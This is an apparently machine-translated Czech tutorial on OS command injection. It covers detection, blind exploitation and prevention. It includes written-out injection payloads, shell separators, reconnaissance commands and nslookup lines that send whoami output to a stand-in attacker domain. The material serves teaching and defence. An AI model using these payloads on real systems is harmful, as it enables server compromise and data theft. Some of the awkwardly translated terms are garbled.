OS command injection

V této sekci, budeme vysvětlit, co OS command injection je, popsat, jak chyby mohou být zjištěny a využity, hláskovat některé užitečné příkazy a techniky pro různé operační systémy, a shrnout, jak, aby se zabránilo OS command injection.

OS command injection

co je OS command injection?

OS příkaz injekce (také známý jako shell injekce) je webový bezpečnostní zranitelnost, která umožňuje útočníkovi spustit libovolný operační systém (OS) příkazy na server, který je spuštěna aplikace, a obvykle plně kompromis aplikaci a všechny jeho data. Velmi často, útočník může využít zranitelnost injekce příkazu OS, aby ohrozil jiné části hostingové infrastruktury, využití vztahů důvěry k otočení útoku na jiné systémy v Organizaci.

provádění libovolných příkazů

zvažte nákupní aplikaci, která umožňuje uživateli zobrazit, zda je položka na skladě v konkrétním obchodě. Tyto informace jsou přístupné prostřednictvím adresy URL jako:

https://insecure-website.com/stockStatus?productID=381&storeID=29

poskytovat informace o akciích, aplikace musí dotazu různých starších systémů. Z historických důvodů, funkčnost je implementována voláním na příkaz shellu s produktem a ukládat Doklady jako argumenty:

stockreport.pl 381 29

Tento příkaz vypíše stavu pro určené položky, která je vrácena uživateli.

Protože aplikace implementuje žádnou obranu proti OS příkaz injekce, útočník může předložit následující vstupní spustit libovolný příkaz:

& echo aiwefwlguh &

Pokud je tento vstup je předložen v productID parametr, pak příkaz vykonán aplikace je:

stockreport.pl & echo aiwefwlguh & 29

echo příkaz způsobí, že dodaný řetězec, který má být ozvěnou v výstup, a je užitečným způsobem, jak otestovat některé typy OS command injection. Znak & je oddělovač příkazů shellu, takže to, co se provádí, jsou ve skutečnosti tři samostatné příkazy jeden po druhém. Jako výsledek, výstup uživateli vrácena je:

Error - productID was not provided
aiwefwlguh
29: command not found

tři řádky výstupní prokázat, že:

  • původní stockreport.pl příkaz byl proveden bez jeho očekávané argumenty, a tak se vrátil se chybová zpráva.
  • byl proveden příkaz injikovaný echo a dodaný řetězec byl ve výstupu zopakován.
  • původní argument 29 byl proveden jako příkaz, který způsobil chybu.

Uvedení další příkaz oddělovač & po injekci příkaz je obecně užitečné, protože to odděluje aplikován příkaz od toho, co sleduje místo vpichu. To snižuje pravděpodobnost, že to, co následuje, zabrání spuštění injikovaného příkazu.

užitečné příkazy

pokud jste identifikovali zranitelnost vstřikování příkazů OS, je obecně užitečné provést některé počáteční příkazy, abyste získali informace o systému, který jste ohrozili. Níže je uveden souhrn některých příkazů, které jsou užitečné na platformách Linux a Windows:

Účel příkazu Linux Windows
Jméno aktuálního uživatele whoami whoami
Operační systém uname -a ver
konfigurace Sítě ifconfig ipconfig /all
Síťová připojení netstat -an netstat -an
Běžící procesy, ps -ef tasklist

Slepý OS command injection zranitelnosti

Mnoho instancí vstřikování příkazů OS jsou slepé zranitelnosti. To znamená, že aplikace nevrací výstup z příkazu v rámci své HTTP odpovědi. Slepé zranitelnosti lze stále využívat, ale jsou vyžadovány různé techniky.

zvažte web, který uživatelům umožňuje odeslat zpětnou vazbu o webu. Uživatel zadá svou e-mailovou adresu a zpětnou vazbu. Aplikace na straně serveru poté vygeneruje e-mail správci webu obsahující zpětnou vazbu. Chcete-li to provést, zavolá do programu mail s předloženými podrobnostmi. Příklad:

mail -s "This site is great" -aFrom:[email protected] [email protected]

výstup z příkazu mail (pokud existuje) není vrácen v odpovědích aplikace, a proto by použití echo užitečného zatížení nebylo účinné. V této situaci můžete k detekci a zneužití zranitelnosti použít řadu dalších technik.

Detekce slepé OS příkaz vstřikování pomocí časové zpoždění

můžete použít aplikován příkaz, který spustí časové zpoždění, což vám umožní potvrdit, že příkaz byl proveden na základě času, že aplikace má reagovat. ping příkaz je účinný způsob, jak to udělat, jak to umožňuje určit počet ICMP pakety posílat, a proto čas potřebný pro příkaz ke spuštění:

& ping -c 10 127.0.0.1 &

Tento příkaz způsobí, že aplikace ping jeho loopback network adapter po dobu 10 sekund.

využití blind OS command injection přesměrováním výstupu

výstup z injektovaného příkazu můžete přesměrovat do souboru v kořenovém adresáři webu, který pak můžete načíst pomocí prohlížeče. Například, pokud aplikace slouží statické zdroje, ze filesystem location /var/www/static, pak lze předložit následující vstupní:

& whoami > /var/www/static/whoami.txt &

> znak odešle výstup z whoami příkaz do zadaného souboru. Poté můžete pomocí prohlížeče načíst soubor https://vulnerable-website.com/whoami.txt a zobrazit výstup z injektovaného příkazu.

Využití slepý OS příkaz vstřikování pomocí out-of-band (POBŘEŽNÍ) techniky

můžete použít aplikován příkaz, který spustí out-of-band sítě, interakce se systémem, který můžete ovládat pomocí POBŘEŽNÍ techniky. Například:

& nslookup kgji2ohoyw.web-attacker.com &

toto užitečné zatížení používá příkaz nslookup k vyvolání vyhledávání DNS pro zadanou doménu. Útočník může sledovat zadané vyhledávání, a tím zjistit, že příkaz byl úspěšně vložen.

out-of-band kanál také poskytuje snadný způsob, jak vyřazení výstupu z injekčně příkazy:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

To způsobí, že vyhledávání DNS, aby útočníka domény obsahující výsledek whoami příkaz:

wwwuser.kgji2ohoyw.web-attacker.com

Způsoby vstřikování OS příkazy

různé metaznaky shellu lze použít k provedení OS command injection útoky.

řada znaků funguje jako oddělovače příkazů, což umožňuje, aby příkazy byly spojeny. Následující oddělovače příkazů pracují na systémech Windows i Unix:

  • &
  • &&
  • |
  • ||

následující příkaz separátory pracovat pouze na Unix-založené systémy:

  • ;
  • nový Řádek (0x0a nebo \n)

Na Unix-založené systémy, můžete také použít ve zpětném apostrofu nebo dolar znak inline provedení injekčně příkaz v původní příkaz:

  • ` injekčně příkaz `
  • $( injekčně příkaz )

Všimněte si, že různé metaznaky shellu mají trochu odlišné chování, které by mohlo mít vliv, zda pracují v určitých situacích, a zda umožňují in-band načítání výstupu příkazu nebo jsou užitečné pouze pro nevidomé vykořisťování.

někdy se vstup, který ovládáte, objeví v uvozovkách v původním příkazu. V této situaci, budete muset ukončit citoval kontextu (pomocí " nebo ') před použitím vhodné metaznaky shellu aplikovat nový příkaz.

Jak, aby se zabránilo OS command injection útoky

zdaleka nejúčinnější způsob, jak zabránit OS command injection zranitelnosti je nikdy volat OS příkazy z aplikační kód. Prakticky v každém případě existují alternativní způsoby implementace požadované funkce pomocí bezpečnějších API platformy.

pokud se považuje za nevyhnutelné volat příkazy OS s uživatelem dodaným vstupem, musí být provedeno silné ověření vstupu. Některé příklady účinné validace zahrnují:

  • ověření proti whitelist povolených hodnot.
  • ověření, že vstup je číslo.
  • ověření, že vstup obsahuje pouze alfanumerické znaky, žádnou jinou syntaxi nebo mezery.

nikdy se nepokoušejte dezinfikovat vstup pomocí únikových metacharakterů shellu. V praxi je to prostě příliš náchylné k chybám a zranitelné tím, že je obchází zkušený útočník.

You might also like

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna.